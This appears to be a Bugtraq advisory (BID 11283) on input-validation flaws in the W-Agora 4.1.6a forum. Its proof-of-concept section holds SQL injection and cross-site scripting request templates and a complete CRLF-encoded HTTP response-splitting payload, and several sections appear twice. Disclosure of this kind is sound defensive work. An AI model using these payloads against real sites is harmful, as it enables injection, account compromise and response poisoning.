W-Agora Multiple Remote Input Validation Vulnerabilities
BID:11283
Info
W-Agora Multiple Remote Input Validation Vulnerabilities
| Bugtraq ID: | 11283 |
| Class: | Input Validation Error |
| CVE: |
CVE-2004-1562 CVE-2004-1563 CVE-2004-1564 CVE-2004-1565 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 30 2004 12:00AM |
| Updated: | Jul 12 2009 07:06AM |
| Credit: | Discovery is credited to Alexander Antipov <[email protected]>. |
| Vulnerable: |
W-Agora W-Agora 4.1.6 a |
| Not Vulnerable: | |
Discussion
W-Agora Multiple Remote Input Validation Vulnerabilities
Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.
These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.
Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.
These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.
Exploit / POC
W-Agora Multiple Remote Input Validation Vulnerabilities
An exploit is not required.
The following proof of concept examples are available:
SQL injection:
redir_url.php?bn=demos_links&key=[SQL]
Cross-site scripting:
download_thread.php?site=support&bn=support_install&thread=[XSS code here]
POST /login.php HTTP/1.1
Host: w-agora
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
loginform=1&redirect_url=1&loginuser=[XSS code here]&loginpassword=1
POST /forgot_password.php HTTP/1.1
Host: w-agora
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
go=1&userid=[XSS code here]
HTTP response splitting:
/subscribe_thread.php?site=support&bn=support_in
stall&thread=%0d%0aContent-Length:%200%0d%0a%0d%0a%20200%20OK%0d%0aConte
nt-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a%3chtml%3eScan
ned%20by%20PTsecurity%3c/html%3e%0d%0a
An exploit is not required.
The following proof of concept examples are available:
SQL injection:
redir_url.php?bn=demos_links&key=[SQL]
Cross-site scripting:
download_thread.php?site=support&bn=support_install&thread=[XSS code here]
POST /login.php HTTP/1.1
Host: w-agora
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
loginform=1&redirect_url=1&loginuser=[XSS code here]&loginpassword=1
POST /forgot_password.php HTTP/1.1
Host: w-agora
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
go=1&userid=[XSS code here]
HTTP response splitting:
/subscribe_thread.php?site=support&bn=support_in
stall&thread=%0d%0aContent-Length:%200%0d%0a%0d%0a%20200%20OK%0d%0aConte
nt-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a%3chtml%3eScan
ned%20by%20PTsecurity%3c/html%3e%0d%0a
Solution / Fix
W-Agora Multiple Remote Input Validation Vulnerabilities
Solution:
It is reported that CVS patches are available to address these issues. Please contact the vendor for more information. A link to the W-Agora CVS repository is available in Web references.
Solution:
It is reported that CVS patches are available to address these issues. Please contact the vendor for more information. A link to the W-Agora CVS repository is available in Web references.
References
W-Agora Multiple Remote Input Validation Vulnerabilities
References:
References:
- CVS repository (W-Agora)
- W-Agora Homepage (W-Agora)
- Multiple vulnerabilities in w-agora forum ("Alexander Antipov"